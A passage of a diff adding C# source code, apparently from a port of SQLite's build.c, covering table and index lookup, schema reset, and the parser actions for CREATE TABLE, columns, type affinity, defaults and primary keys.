report errors */ + int isView, /* True if looking for a VIEW rather than a TABLE */ + string zName, /* Name of the table we are looking for */ + string zDbase /* Name of the database. Might be NULL */ + ) + { + Table p; + + /* Read the database schema. If an error occurs, leave an error message + ** and code in pParse and return NULL. */ + if ( SQLITE_OK != sqlite3ReadSchema( pParse ) ) + { + return null; + } + + p = sqlite3FindTable( pParse.db, zName, zDbase ); + if ( p == null ) + { + string zMsg = isView != 0 ? "no such view" : "no such table"; + if ( zDbase != null ) + { + sqlite3ErrorMsg( pParse, "%s: %s.%s", zMsg, zDbase, zName ); + } + else + { + sqlite3ErrorMsg( pParse, "%s: %s", zMsg, zName ); + } + pParse.checkSchema = 1; + } + return p; + } + + /* + ** Locate the in-memory structure that describes + ** a particular index given the name of that index + ** and the name of the database that contains the index. + ** Return NULL if not found. + ** + ** If zDatabase is 0, all databases are searched for the + ** table and the first matching index is returned. (No checking + ** for duplicate index names is done.) The search order is + ** TEMP first, then MAIN, then any auxiliary databases added + ** using the ATTACH command. + */ + static Index sqlite3FindIndex( sqlite3 db, string zName, string zDb ) + { + Index p = null; + int i; + int nName = sqlite3Strlen30( zName ); + for ( i = OMIT_TEMPDB ; i < db.nDb ; i++ ) + { + int j = ( i < 2 ) ? i ^ 1 : i; /* Search TEMP before MAIN */ + Schema pSchema = db.aDb[j].pSchema; + Debug.Assert( pSchema != null ); + if ( zDb != null && sqlite3StrICmp( zDb, db.aDb[j].zName ) != 0 ) continue; + p = (Index)sqlite3HashFind( pSchema.idxHash, zName, nName ); + if ( p != null ) break; + } + return p; + } + + /* + ** Reclaim the memory used by an index + */ + static void freeIndex( ref Index p ) + { + sqlite3 db = p.pTable.dbMem; + /* testcase( db==0 ); */ + //sqlite3DbFree( db, ref p.zColAff ); + //sqlite3DbFree( db, ref p ); + } + + /* + ** Remove the given index from the index hash table, and free + ** its memory structures. + ** + ** The index is removed from the database hash tables but + ** it is not unlinked from the Table that it indexes. + ** Unlinking from the Table must be done by the calling function. + */ + static void sqlite3DeleteIndex( Index p ) + { + Index pOld; + string zName = p.zName; + + pOld = (Index)sqlite3HashInsert( ref p.pSchema.idxHash, zName, + sqlite3Strlen30( zName ), null ); + Debug.Assert( pOld == null || pOld == p ); + freeIndex( ref p ); + } + + /* + ** For the index called zIdxName which is found in the database iDb, + ** unlike that index from its Table then remove the index from + ** the index hash table and free all memory structures associated + ** with the index. + */ + static void sqlite3UnlinkAndDeleteIndex( sqlite3 db, int iDb, string zIdxName ) + { + Index pIndex; + int len; + Hash pHash = db.aDb[iDb].pSchema.idxHash; + + len = sqlite3Strlen30( zIdxName ); + pIndex = (Index)sqlite3HashInsert( ref pHash, zIdxName, len, null ); + if ( pIndex != null ) + { + if ( pIndex.pTable.pIndex == pIndex ) + { + pIndex.pTable.pIndex = pIndex.pNext; + } + else + { + Index p; + /* Justification of ALWAYS(); The index must be on the list of + ** indices. */ + p = pIndex.pTable.pIndex; + while ( ALWAYS( p != null ) && p.pNext != pIndex ) { p = p.pNext; } + if ( ALWAYS( p != null && p.pNext == pIndex ) ) + { + p.pNext = pIndex.pNext; + } + } + freeIndex( ref pIndex ); + } + db.flags |= SQLITE_InternChanges; + } + + /* + ** Erase all schema information from the in-memory hash tables of + ** a single database. This routine is called to reclaim memory + ** before the database closes. It is also called during a rollback + ** if there were schema changes during the transaction or if a + ** schema-cookie mismatch occurs. + ** + ** If iDb==0 then reset the internal schema tables for all database + ** files. If iDb>=1 then reset the internal schema for only the + ** single file indicated. + */ + static void sqlite3ResetInternalSchema( sqlite3 db, int iDb ) + { + int i, j; + Debug.Assert( iDb >= 0 && iDb < db.nDb ); + + if ( iDb == 0 ) + { + sqlite3BtreeEnterAll( db ); + } + for ( i = iDb ; i < db.nDb ; i++ ) + { + Db pDb = db.aDb[i]; + if ( pDb.pSchema != null ) + { + Debug.Assert( i == 1 || ( pDb.pBt != null && sqlite3BtreeHoldsMutex( pDb.pBt ) ) ); + Debug.Assert( i == 1 || ( pDb.pBt != null ) ); + sqlite3SchemaFree( pDb.pSchema ); + } + if ( iDb > 0 ) return; + } + Debug.Assert( iDb == 0 ); + db.flags &= ~SQLITE_InternChanges; + sqlite3VtabUnlockList( db ); + sqlite3BtreeLeaveAll( db ); + /* If one or more of the auxiliary database files has been closed, + ** then remove them from the auxiliary database list. We take the + ** opportunity to do this here since we have just deleted all of the + ** schema hash tables and therefore do not have to make any changes + ** to any of those tables. + */ + for ( i = j = 2 ; i < db.nDb ; i++ ) + { + Db pDb = db.aDb[i]; + if ( pDb.pBt == null ) + { + //sqlite3DbFree( db, ref pDb.zName ); + continue; + } + if ( j < i ) + { + db.aDb[j] = db.aDb[i]; + } + j++; + } + if ( db.nDb != j ) db.aDb[j] = new Db();//memset(db.aDb[j], 0, (db.nDb-j)*sizeof(db.aDb[j])); + db.nDb = j; + if ( db.nDb <= 2 && db.aDb != db.aDbStatic ) + { + Array.Copy( db.aDb, db.aDbStatic, 2 );// memcpy(db.aDbStatic, db.aDb, 2*sizeof(db.aDb[0])); + //sqlite3DbFree(db,ref db.aDb); + //db.aDb = db.aDbStatic; + } + } + + /* + ** This routine is called when a commit occurs. + */ + static void sqlite3CommitInternalChanges( sqlite3 db ) + { + db.flags &= ~SQLITE_InternChanges; + } + + /* + ** Clear the column names from a table or view. + */ + static void sqliteResetColumnNames( Table pTable ) + { + int i; + Column pCol; + sqlite3 db = pTable.dbMem; + testcase( db == null ); + Debug.Assert( pTable != null ); + for ( i = 0 ; i < pTable.nCol ; i++ ) + { + pCol = pTable.aCol[i]; + if ( pCol != null ) + { + //sqlite3DbFree( db, ref pCol.zName ); + sqlite3ExprDelete( db, ref pCol.pDflt ); + //sqlite3DbFree( db, ref pCol.zDflt ); + //sqlite3DbFree( db, ref pCol.zType ); + //sqlite3DbFree( db, ref pCol.zColl ); + } + } + pTable.aCol = null; //sqlite3DbFree( db, ref pTable.aCol ); + pTable.nCol = 0; + } + + /* + ** Remove the memory data structures associated with the given + ** Table. No changes are made to disk by this routine. + ** + ** This routine just deletes the data structure. It does not unlink + ** the table data structure from the hash table. But it does destroy + ** memory structures of the indices and foreign keys associated with + ** the table. + */ + static void sqlite3DeleteTable( ref Table pTable ) + { + Index pIndex; Index pNext; + FKey pFKey; FKey pNextFKey; + sqlite3 db; + + if ( pTable == null ) return; + db = pTable.dbMem; + testcase( db == null ); + + /* Do not delete the table until the reference count reaches zero. */ + pTable.nRef--; + if ( pTable.nRef > 0 ) + { + return; + } + Debug.Assert( pTable.nRef == 0 ); + + /* Delete all indices associated with this table + */ + for ( pIndex = pTable.pIndex ; pIndex != null ; pIndex = pNext ) + { + pNext = pIndex.pNext; + Debug.Assert( pIndex.pSchema == pTable.pSchema ); + sqlite3DeleteIndex( pIndex ); + } + +#if !SQLITE_OMIT_FOREIGN_KEY + /* Delete all foreign keys associated with this table. */ + for ( pFKey = pTable.pFKey ; pFKey != null ; pFKey = pNextFKey ) + { + pNextFKey = pFKey.pNextFrom; + pFKey = null;// //sqlite3DbFree(db,ref pFKey); + } +#endif + + /* Delete the Table structure itself. +*/ + sqliteResetColumnNames( pTable ); + //sqlite3DbFree( db, ref pTable.zName ); + //sqlite3DbFree( db, ref pTable.zColAff ); + sqlite3SelectDelete( db, ref pTable.pSelect ); +#if !SQLITE_OMIT_CHECK + sqlite3ExprDelete( db, ref pTable.pCheck ); +#endif + sqlite3VtabClear( pTable ); + //sqlite3DbFree( db, ref pTable ); + } + + /* + ** Unlink the given table from the hash tables and the delete the + ** table structure with all its indices and foreign keys. + */ + static void sqlite3UnlinkAndDeleteTable( sqlite3 db, int iDb, string zTabName ) + { + Table p; + Db pDb; + + Debug.Assert( db != null ); + Debug.Assert( iDb >= 0 && iDb < db.nDb ); + Debug.Assert( zTabName != null && zTabName[0] != '\0' ); + pDb = db.aDb[iDb]; + p = (Table)sqlite3HashInsert( ref pDb.pSchema.tblHash, zTabName, + sqlite3Strlen30( zTabName ), null ); + sqlite3DeleteTable( ref p ); + db.flags |= SQLITE_InternChanges; + } + + /* + ** Given a token, return a string that consists of the text of that + ** token. Space to hold the returned string + ** is obtained from sqliteMalloc() and must be freed by the calling + ** function. + ** + ** Any quotation marks (ex: "name", 'name', [name], or `name`) that + ** surround the body of the token are removed. + ** + ** Tokens are often just pointers into the original SQL text and so + ** are not \000 terminated and are not persistent. The returned string + ** is \000 terminated and is persistent. + */ + static string sqlite3NameFromToken( sqlite3 db, Token pName ) + { + string zName; + if ( pName != null && pName.z != null ) + { + zName = pName.z.Substring( 0, pName.n );//sqlite3DbStrNDup(db, (char*)pName.z, pName.n); + sqlite3Dequote( ref zName ); + } + else + { + return null; + } + return zName; + } + + /* + ** Open the sqlite_master table stored in database number iDb for + ** writing. The table is opened using cursor 0. + */ + static void sqlite3OpenMasterTable( Parse p, int iDb ) + { + Vdbe v = sqlite3GetVdbe( p ); + sqlite3TableLock( p, iDb, MASTER_ROOT, 1, SCHEMA_TABLE( iDb ) ); + sqlite3VdbeAddOp3( v, OP_OpenWrite, 0, MASTER_ROOT, iDb ); + sqlite3VdbeChangeP4( v, -1, (int)5, P4_INT32 ); /* 5 column table */ + if ( p.nTab == 0 ) + { + p.nTab = 1; + } + } + + /* + ** Parameter zName points to a nul-terminated buffer containing the name + ** of a database ("main", "temp" or the name of an attached db). This + ** function returns the index of the named database in db->aDb[], or + ** -1 if the named db cannot be found. + */ + static int sqlite3FindDbName( sqlite3 db, string zName ) + { + int i = -1; /* Database number */ + if ( zName != null ) + { + Db pDb; + int n = sqlite3Strlen30( zName ); + for ( i = ( db.nDb - 1 ) ; i >= 0 ; i-- ) + { + pDb = db.aDb[i]; + if ( ( OMIT_TEMPDB == 0 || i != 1 ) && n == sqlite3Strlen30( pDb.zName ) && + 0 == sqlite3StrICmp( pDb.zName, zName ) ) + { + break; + } + } + } + return i; + } + + /* + ** The token *pName contains the name of a database (either "main" or + ** "temp" or the name of an attached db). This routine returns the + ** index of the named database in db->aDb[], or -1 if the named db + ** does not exist. + */ + static int sqlite3FindDb( sqlite3 db, Token pName ) + { + int i; /* Database number */ + string zName; /* Name we are searching for */ + zName = sqlite3NameFromToken( db, pName ); + i = sqlite3FindDbName( db, zName ); + //sqlite3DbFree( db, zName ); + return i; + } + + /* The table or view or trigger name is passed to this routine via tokens + ** pName1 and pName2. If the table name was fully qualified, for example: + ** + ** CREATE TABLE xxx.yyy (...); + ** + ** Then pName1 is set to "xxx" and pName2 "yyy". On the other hand if + ** the table name is not fully qualified, i.e.: + ** + ** CREATE TABLE yyy(...); + ** + ** Then pName1 is set to "yyy" and pName2 is "". + ** + ** This routine sets the ppUnqual pointer to point at the token (pName1 or + ** pName2) that stores the unqualified table name. The index of the + ** database "xxx" is returned. + */ + static int sqlite3TwoPartName( + Parse pParse, /* Parsing and code generating context */ + Token pName1, /* The "xxx" in the name "xxx.yyy" or "xxx" */ + Token pName2, /* The "yyy" in the name "xxx.yyy" */ + ref Token pUnqual /* Write the unqualified object name here */ + ) + { + int iDb; /* Database holding the object */ + sqlite3 db = pParse.db; + + if ( ALWAYS( pName2 != null ) && pName2.n > 0 ) + { + if ( db.init.busy != 0 ) + { + sqlite3ErrorMsg( pParse, "corrupt database" ); + pParse.nErr++; + return -1; + } + pUnqual = pName2; + iDb = sqlite3FindDb( db, pName1 ); + if ( iDb < 0 ) + { + sqlite3ErrorMsg( pParse, "unknown database %T", pName1 ); + pParse.nErr++; + return -1; + } + } + else + { + Debug.Assert( db.init.iDb == 0 || db.init.busy != 0 ); + iDb = db.init.iDb; + pUnqual = pName1; + } + return iDb; + } + + /* + ** This routine is used to check if the UTF-8 string zName is a legal + ** unqualified name for a new schema object (table, index, view or + ** trigger). All names are legal except those that begin with the string + ** "sqlite_" (in upper, lower or mixed case). This portion of the namespace + ** is reserved for internal use. + */ + static int sqlite3CheckObjectName( Parse pParse, string zName ) + { + if ( 0 == pParse.db.init.busy && pParse.nested == 0 + && ( pParse.db.flags & SQLITE_WriteSchema ) == 0 + && 0 == sqlite3StrNICmp( zName, "sqlite_", 7 ) ) + { + sqlite3ErrorMsg( pParse, "object name reserved for internal use: %s", zName ); + return SQLITE_ERROR; + } + return SQLITE_OK; + } + + /* + ** Begin constructing a new table representation in memory. This is + ** the first of several action routines that get called in response + ** to a CREATE TABLE statement. In particular, this routine is called + ** after seeing tokens "CREATE" and "TABLE" and the table name. The isTemp + ** flag is true if the table should be stored in the auxiliary database + ** file instead of in the main database file. This is normally the case + ** when the "TEMP" or "TEMPORARY" keyword occurs in between + ** CREATE and TABLE. + ** + ** The new table record is initialized and put in pParse.pNewTable. + ** As more of the CREATE TABLE statement is parsed, additional action + ** routines will be called to add more information to this record. + ** At the end of the CREATE TABLE statement, the sqlite3EndTable() routine + ** is called to complete the construction of the new table record. + */ + static void sqlite3StartTable( + Parse pParse, /* Parser context */ + Token pName1, /* First part of the name of the table or view */ + Token pName2, /* Second part of the name of the table or view */ + int isTemp, /* True if this is a TEMP table */ + int isView, /* True if this is a VIEW */ + int isVirtual, /* True if this is a VIRTUAL table */ + int noErr /* Do nothing if table already exists */ + ) + { + Table pTable; + string zName = null; /* The name of the new table */ + sqlite3 db = pParse.db; + Vdbe v; + int iDb; /* Database number to create the table in */ + Token pName = new Token(); /* Unqualified name of the table to create */ + + /* The table or view name to create is passed to this routine via tokens + ** pName1 and pName2. If the table name was fully qualified, for example: + ** + ** CREATE TABLE xxx.yyy (...); + ** + ** Then pName1 is set to "xxx" and pName2 "yyy". On the other hand if + ** the table name is not fully qualified, i.e.: + ** + ** CREATE TABLE yyy(...); + ** + ** Then pName1 is set to "yyy" and pName2 is "". + ** + ** The call below sets the pName pointer to point at the token (pName1 or + ** pName2) that stores the unqualified table name. The variable iDb is + ** set to the index of the database that the table or view is to be + ** created in. + */ + iDb = sqlite3TwoPartName( pParse, pName1, pName2, ref pName ); + if ( iDb < 0 ) return; + if ( OMIT_TEMPDB == 0 && isTemp != 0 && iDb > 1 ) + { + /* If creating a temp table, the name may not be qualified */ + sqlite3ErrorMsg( pParse, "temporary table name must be unqualified" ); + return; + } + if ( OMIT_TEMPDB == 0 && isTemp != 0 ) iDb = 1; + + pParse.sNameToken = pName; + zName = sqlite3NameFromToken( db, pName ); + if ( zName == null ) return; + if ( SQLITE_OK != sqlite3CheckObjectName( pParse, zName ) ) + { + goto begin_table_error; + } + if ( db.init.iDb == 1 ) isTemp = 1; +#if !SQLITE_OMIT_AUTHORIZATION +Debug.Assert( (isTemp & 1)==isTemp ); +{ +int code; +char *zDb = db.aDb[iDb].zName; +if( sqlite3AuthCheck(pParse, SQLITE_INSERT, SCHEMA_TABLE(isTemp), 0, zDb) ){ +goto begin_table_error; +} +if( isView ){ +if( OMIT_TEMPDB ==0&& isTemp ){ +code = SQLITE_CREATE_TEMP_VIEW; +}else{ +code = SQLITE_CREATE_VIEW; +} +}else{ +if( OMIT_TEMPDB ==0&& isTemp ){ +code = SQLITE_CREATE_TEMP_TABLE; +}else{ +code = SQLITE_CREATE_TABLE; +} +} +if( !isVirtual && sqlite3AuthCheck(pParse, code, zName, 0, zDb) ){ +goto begin_table_error; +} +} +#endif + + /* Make sure the new table name does not collide with an existing +** index or table name in the same database. Issue an error message if +** it does. The exception is if the statement being parsed was passed +** to an sqlite3_declare_vtab() call. In that case only the column names +** and types will be used, so there is no need to test for namespace +** collisions. +*/ + if ( !IN_DECLARE_VTAB ) + { + if ( SQLITE_OK != sqlite3ReadSchema( pParse ) ) + { + goto begin_table_error; + } + pTable = sqlite3FindTable( db, zName, db.aDb[iDb].zName ); + if ( pTable != null ) + { + if ( noErr == 0 ) + { + sqlite3ErrorMsg( pParse, "table %T already exists", pName ); + } + goto begin_table_error; + } + if ( sqlite3FindIndex( db, zName, null ) != null && ( iDb == 0 || 0 == db.init.busy ) ) + { + sqlite3ErrorMsg( pParse, "there is already an index named %s", zName ); + goto begin_table_error; + } + } + + pTable = new Table();// sqlite3DbMallocZero(db, Table).Length; + if ( pTable == null ) + { +// db.mallocFailed = 1; + pParse.rc = SQLITE_NOMEM; + pParse.nErr++; + goto begin_table_error; + } + pTable.zName = zName; + pTable.iPKey = -1; + pTable.pSchema = db.aDb[iDb].pSchema; + pTable.nRef = 1; + pTable.dbMem = null; + Debug.Assert( pParse.pNewTable == null ); + pParse.pNewTable = pTable; + + /* If this is the magic sqlite_sequence table used by autoincrement, + ** then record a pointer to this table in the main database structure + ** so that INSERT can find the table easily. + */ +#if !SQLITE_OMIT_AUTOINCREMENT + if ( pParse.nested == 0 && zName == "sqlite_sequence" ) + { + pTable.pSchema.pSeqTab = pTable; + } +#endif + + /* Begin generating the code that will insert the table record into +** the SQLITE_MASTER table. Note in particular that we must go ahead +** and allocate the record number for the table entry now. Before any +** PRIMARY KEY or UNIQUE keywords are parsed. Those keywords will cause +** indices to be created and the table record must come before the +** indices. Hence, the record number for the table must be allocated +** now. +*/ + if ( 0 == db.init.busy && ( v = sqlite3GetVdbe( pParse ) ) != null ) + { + int j1; + int fileFormat; + int reg1, reg2, reg3; + sqlite3BeginWriteOperation( pParse, 0, iDb ); + + if ( isVirtual != 0 ) + { + sqlite3VdbeAddOp0( v, OP_VBegin ); + } + + /* If the file format and encoding in the database have not been set, + ** set them now. + */ + reg1 = pParse.regRowid = ++pParse.nMem; + reg2 = pParse.regRoot = ++pParse.nMem; + reg3 = ++pParse.nMem; + sqlite3VdbeAddOp3( v, OP_ReadCookie, iDb, reg3, BTREE_FILE_FORMAT ); + sqlite3VdbeUsesBtree( v, iDb ); + j1 = sqlite3VdbeAddOp1( v, OP_If, reg3 ); + fileFormat = ( db.flags & SQLITE_LegacyFileFmt ) != 0 ? + 1 : SQLITE_MAX_FILE_FORMAT; + sqlite3VdbeAddOp2( v, OP_Integer, fileFormat, reg3 ); + sqlite3VdbeAddOp3( v, OP_SetCookie, iDb, BTREE_FILE_FORMAT, reg3 ); + sqlite3VdbeAddOp2( v, OP_Integer, ENC( db ), reg3 ); + sqlite3VdbeAddOp3( v, OP_SetCookie, iDb, BTREE_TEXT_ENCODING, reg3 ); + sqlite3VdbeJumpHere( v, j1 ); + + /* This just creates a place-holder record in the sqlite_master table. + ** The record created does not contain anything yet. It will be replaced + ** by the real entry in code generated at sqlite3EndTable(). + ** + ** The rowid for the new entry is left in register pParse->regRowid. + ** The root page number of the new table is left in reg pParse->regRoot. + ** The rowid and root page number values are needed by the code that + ** sqlite3EndTable will generate. + */ + if ( isView != 0 || isVirtual != 0 ) + { + sqlite3VdbeAddOp2( v, OP_Integer, 0, reg2 ); + } + else + { + sqlite3VdbeAddOp2( v, OP_CreateTable, iDb, reg2 ); + } + sqlite3OpenMasterTable( pParse, iDb ); + sqlite3VdbeAddOp2( v, OP_NewRowid, 0, reg1 ); + sqlite3VdbeAddOp2( v, OP_Null, 0, reg3 ); + sqlite3VdbeAddOp3( v, OP_Insert, 0, reg3, reg1 ); + sqlite3VdbeChangeP5( v, OPFLAG_APPEND ); + sqlite3VdbeAddOp0( v, OP_Close ); + } + + /* Normal (non-error) return. */ + return; + + /* If an error occurs, we jump here */ +begin_table_error: + //sqlite3DbFree( db, ref zName ); + return; + } + + /* + ** This macro is used to compare two strings in a case-insensitive manner. + ** It is slightly faster than calling sqlite3StrICmp() directly, but + ** produces larger code. + ** + ** WARNING: This macro is not compatible with the strcmp() family. It + ** returns true if the two strings are equal, otherwise false. + */ + //#define STRICMP(x, y) (\ + //sqlite3UpperToLower[*(unsigned char *)(x)]== \ + //sqlite3UpperToLower[*(unsigned char *)(y)] \ + //&& sqlite3StrICmp((x)+1,(y)+1)==0 ) + + /* + ** Add a new column to the table currently being constructed. + ** + ** The parser calls this routine once for each column declaration + ** in a CREATE TABLE statement. sqlite3StartTable() gets called + ** first to get things going. Then this routine is called for each + ** column. + */ + static void sqlite3AddColumn( Parse pParse, Token pName ) + { + Table p; + int i; + string z; + Column pCol; + sqlite3 db = pParse.db; + if ( ( p = pParse.pNewTable ) == null ) return; +#if SQLITE_MAX_COLUMN || !SQLITE_MAX_COLUMN + if ( p.nCol + 1 > db.aLimit[SQLITE_LIMIT_COLUMN] ) + { + sqlite3ErrorMsg( pParse, "too many columns on %s", p.zName ); + return; + } +#endif + z = sqlite3NameFromToken( db, pName ); + if ( z == null ) return; + for ( i = 0 ; i < p.nCol ; i++ ) + { + if ( 0 == sqlite3StrICmp( z, p.aCol[i].zName ) ) + {//STRICMP(z, p.aCol[i].zName) ){ + sqlite3ErrorMsg( pParse, "duplicate column name: %s", z ); + //sqlite3DbFree( db, ref z ); + return; + } + } + if ( ( p.nCol & 0x7 ) == 0 ) + { + //aNew = sqlite3DbRealloc(db,p.aCol,(p.nCol+8)*sizeof(p.aCol[0])); + //if( aNew==0 ){ + // //sqlite3DbFree(db,ref z); + // return; + //} + Array.Resize( ref p.aCol, p.nCol + 8 ); + } + p.aCol[p.nCol] = new Column(); + pCol = p.aCol[p.nCol]; + //memset(pCol, 0, sizeof(p.aCol[0])); + pCol.zName = z; + + /* If there is no type specified, columns have the default affinity + ** 'NONE'. If there is a type specified, then sqlite3AddColumnType() will + ** be called next to set pCol.affinity correctly. + */ + pCol.affinity = SQLITE_AFF_NONE; + p.nCol++; + } + + /* + ** This routine is called by the parser while in the middle of + ** parsing a CREATE TABLE statement. A "NOT NULL" constraint has + ** been seen on a column. This routine sets the notNull flag on + ** the column currently under construction. + */ + static void sqlite3AddNotNull( Parse pParse, int onError ) + { + Table p; + p = pParse.pNewTable; + if ( p == null || NEVER( p.nCol < 1 ) ) return; + p.aCol[p.nCol - 1].notNull = (u8)onError; + } + + /* + ** Scan the column type name zType (length nType) and return the + ** associated affinity type. + ** + ** This routine does a case-independent search of zType for the + ** substrings in the following table. If one of the substrings is + ** found, the corresponding affinity is returned. If zType contains + ** more than one of the substrings, entries toward the top of + ** the table take priority. For example, if zType is 'BLOBINT', + ** SQLITE_AFF_INTEGER is returned. + ** + ** Substring | Affinity + ** -------------------------------- + ** 'INT' | SQLITE_AFF_INTEGER + ** 'CHAR' | SQLITE_AFF_TEXT + ** 'CLOB' | SQLITE_AFF_TEXT + ** 'TEXT' | SQLITE_AFF_TEXT + ** 'BLOB' | SQLITE_AFF_NONE + ** 'REAL' | SQLITE_AFF_REAL + ** 'FLOA' | SQLITE_AFF_REAL + ** 'DOUB' | SQLITE_AFF_REAL + ** + ** If none of the substrings in the above table are found, + ** SQLITE_AFF_NUMERIC is returned. + */ + static char sqlite3AffinityType( string zIn ) + { + //u32 h = 0; + //char aff = SQLITE_AFF_NUMERIC; + zIn = zIn.ToLower(); + if ( zIn.Contains( "char" ) || zIn.Contains( "clob" ) || zIn.Contains( "text" ) ) return SQLITE_AFF_TEXT; + if ( zIn.Contains( "blob" ) ) return SQLITE_AFF_NONE; + if ( zIn.Contains( "doub" ) || zIn.Contains( "floa" ) || zIn.Contains( "real" ) ) return SQLITE_AFF_REAL; + if ( zIn.Contains( "int" ) ) return SQLITE_AFF_INTEGER; + return SQLITE_AFF_NUMERIC; + // string zEnd = pType.z.Substring(pType.n); + + // while( zIn!=zEnd ){ + // h = (h<<8) + sqlite3UpperToLower[*zIn]; + // zIn++; + // if( h==(('c'<<24)+('h'<<16)+('a'<<8)+'r') ){ /* CHAR */ + // aff = SQLITE_AFF_TEXT; + // }else if( h==(('c'<<24)+('l'<<16)+('o'<<8)+'b') ){ /* CLOB */ + // aff = SQLITE_AFF_TEXT; + // }else if( h==(('t'<<24)+('e'<<16)+('x'<<8)+'t') ){ /* TEXT */ + // aff = SQLITE_AFF_TEXT; + // }else if( h==(('b'<<24)+('l'<<16)+('o'<<8)+'b') /* BLOB */ + // && (aff==SQLITE_AFF_NUMERIC || aff==SQLITE_AFF_REAL) ){ + // aff = SQLITE_AFF_NONE; + //#if !SQLITE_OMIT_FLOATING_POINT + // }else if( h==(('r'<<24)+('e'<<16)+('a'<<8)+'l') /* REAL */ + // && aff==SQLITE_AFF_NUMERIC ){ + // aff = SQLITE_AFF_REAL; + // }else if( h==(('f'<<24)+('l'<<16)+('o'<<8)+'a') /* FLOA */ + // && aff==SQLITE_AFF_NUMERIC ){ + // aff = SQLITE_AFF_REAL; + // }else if( h==(('d'<<24)+('o'<<16)+('u'<<8)+'b') /* DOUB */ + // && aff==SQLITE_AFF_NUMERIC ){ + // aff = SQLITE_AFF_REAL; + //#endif + // }else if( (h&0x00FFFFFF)==(('i'<<16)+('n'<<8)+'t') ){ /* INT */ + // aff = SQLITE_AFF_INTEGER; + // break; + // } + // } + + // return aff; + } + + /* + ** This routine is called by the parser while in the middle of + ** parsing a CREATE TABLE statement. The pFirst token is the first + ** token in the sequence of tokens that describe the type of the + ** column currently under construction. pLast is the last token + ** in the sequence. Use this information to construct a string + ** that contains the typename of the column and store that string + ** in zType. + */ + static void sqlite3AddColumnType( Parse pParse, Token pType ) + { + Table p; + Column pCol; + + p = pParse.pNewTable; + if ( p == null || NEVER( p.nCol < 1 ) ) return; + pCol = p.aCol[p.nCol - 1]; + Debug.Assert( pCol.zType == null ); + pCol.zType = sqlite3NameFromToken( pParse.db, pType ); + pCol.affinity = sqlite3AffinityType( pCol.zType ); + } + + + /* + ** The expression is the default value for the most recently added column + ** of the table currently under construction. + ** + ** Default value expressions must be constant. Raise an exception if this + ** is not the case. + ** + ** This routine is called by the parser while in the middle of + ** parsing a CREATE TABLE statement. + */ + static void sqlite3AddDefaultValue( Parse pParse, ExprSpan pSpan ) + { + Table p; + Column pCol; + sqlite3 db = pParse.db; + p = pParse.pNewTable; + if ( p != null ) + { + pCol = ( p.aCol[p.nCol - 1] ); + if ( sqlite3ExprIsConstantOrFunction( pSpan.pExpr ) == 0 ) + { + sqlite3ErrorMsg( pParse, "default value of column [%s] is not constant", + pCol.zName ); + } + else + { + /* A copy of pExpr is used instead of the original, as pExpr contains + ** tokens that point to volatile memory. The 'span' of the expression + ** is required by pragma table_info. + */ + sqlite3ExprDelete( db, ref pCol.pDflt ); + pCol.pDflt = sqlite3ExprDup( db, pSpan.pExpr, EXPRDUP_REDUCE ); + //sqlite3DbFree( db, pCol.zDflt ); + pCol.zDflt = pSpan.zStart.Substring( 0, pSpan.zStart.Length - pSpan.zEnd.Length ); + //sqlite3DbStrNDup( db, pSpan.zStart, + // (int)( pSpan.zEnd.Length - pSpan.zStart.Length ) ); + } + } + sqlite3ExprDelete( db, ref pSpan.pExpr ); + } + + /* + ** Designate the PRIMARY KEY for the table. pList is a list of names + ** of columns that form the primary key. If pList is NULL, then the + ** most recently added column of the table is the primary key. + ** + ** A table can have at most one primary key. If the table already has + ** a primary key (and this is the second primary key) then create an + ** error. + ** + ** If the PRIMARY KEY is on a single column whose datatype is INTEGER, + ** then we will try to use that column as the rowid. Set the Table.iPKey + ** field of the table under construction to be the index of the + ** INTEGER PRIMARY KEY column. Table.iPKey is set to -1 if there is + ** no INTEGER PRIMARY KEY. + ** + ** If the key is not an INTEGER PRIMARY KEY, then create a unique + ** index for the key. No index is created for INTEGER PRIMARY KEYs. + */ + // OVERLOADS, so I don't need to rewrite parse.c + static void sqlite3AddPrimaryKey( Parse pParse, int null_2, int onError, int autoInc, int sortOrder ) + { sqlite3AddPrimaryKey( pParse, null, onError, autoInc, sortOrder ); } + static void sqlite3AddPrimaryKey( + Parse pParse, /* Parsing context */ + ExprList pList, /* List of field names to be indexed */ + int onError, /* What to do with a uniqueness conflict */ + int autoInc, /* True if the AUTOINCREMENT keyword is present */ + int sortOrder /* SQLITE_SO_ASC or SQLITE_SO_DESC */ + ) + { + Table pTab = pParse.pNewTable; + string zType = null; + int iCol = -1, i; + if ( pTab == null || IN_DECLARE_VTAB ) goto primary_key_exit; + if ( ( pTab.tabFlags & TF_HasPrimaryKey ) != 0 ) + { + sqlite3ErrorMsg( pParse, + "table \"%s\" has more than one primary key", pTab.zName ); + goto primary_key_exit; + } + pTab.tabFlags |= TF_HasPrimaryKey; + if ( pList == null ) + { + iCol = pTab.nCol - 1; + pTab.aCol[iCol].isPrimKey = 1; + } + else + { + for ( i = 0 ; i < pList.nExpr ; i++ ) + { + for ( iCol = 0 ; iCol < pTab.nCol ; iCol++ ) + { + if ( sqlite3StrICmp( pList.a[i].zName, pTab.aCol[iCol].zName ) == 0 ) + { + break; + } + } + if ( iCol < pTab.nCol ) + { + pTab.aCol[iCol].isPrimKey = 0; + } + } + if ( pList.nExpr > 1 ) iCol = -1; + } + if ( iCol >= 0 && iCol < pTab.nCol ) + { + zType = pTab.aCol[iCol].zType; + } + if ( zType != null && sqlite3StrICmp( zType, "INTEGER" ) == 0 + && sortOrder == SQLITE_SO_ASC ) + { + pTab.iPKey = iCol; + pTab.keyConf = (byte)onError; + Debug.Assert( autoInc == 0 || autoInc == 1 ); + pTab.tabFlags |= (u8)( autoInc * TF_Autoincrement ); + } + else if ( autoInc != 0 ) + { +#if !SQLITE_OMIT_AUTOINCREMENT + sqlite3ErrorMsg( pParse, "AUTOINCREMENT is only allowed on an " + + "INTEGER PRIMARY KEY" ); +#endif + } + else + { + sqlite3CreateIndex( pParse, null, null, null, pList, onError, null, null, sortOrder, 0 ); + pList = null; + } + +primary_key_exit: + sqlite3ExprListDelete( pParse.db, ref pList ); + return; + } + + /* + ** Add a new CHECK constraint to the table currently under construction. + */ + static void sqlite3AddCheckConstraint( + Parse pParse, /* Parsing context */ + Expr pCheckExpr /* The check expression */ + ) + { + sqlite3 db = pParse.db; +#if !SQLITE_OMIT_CHECK + Table pTab = pParse.pNewTable; + if ( pTab != null && !IN_DECLARE_VTAB ) + { + pTab.pCheck = sqlite3ExprAnd( db, pTab.pCheck, pCheckExpr ); + } + else +#endif + { + sqlite3ExprDelete( db, ref pCheckExpr ); + } + } + /* + ** Set the collation function of the most recently parsed table column + ** to the CollSeq given. + 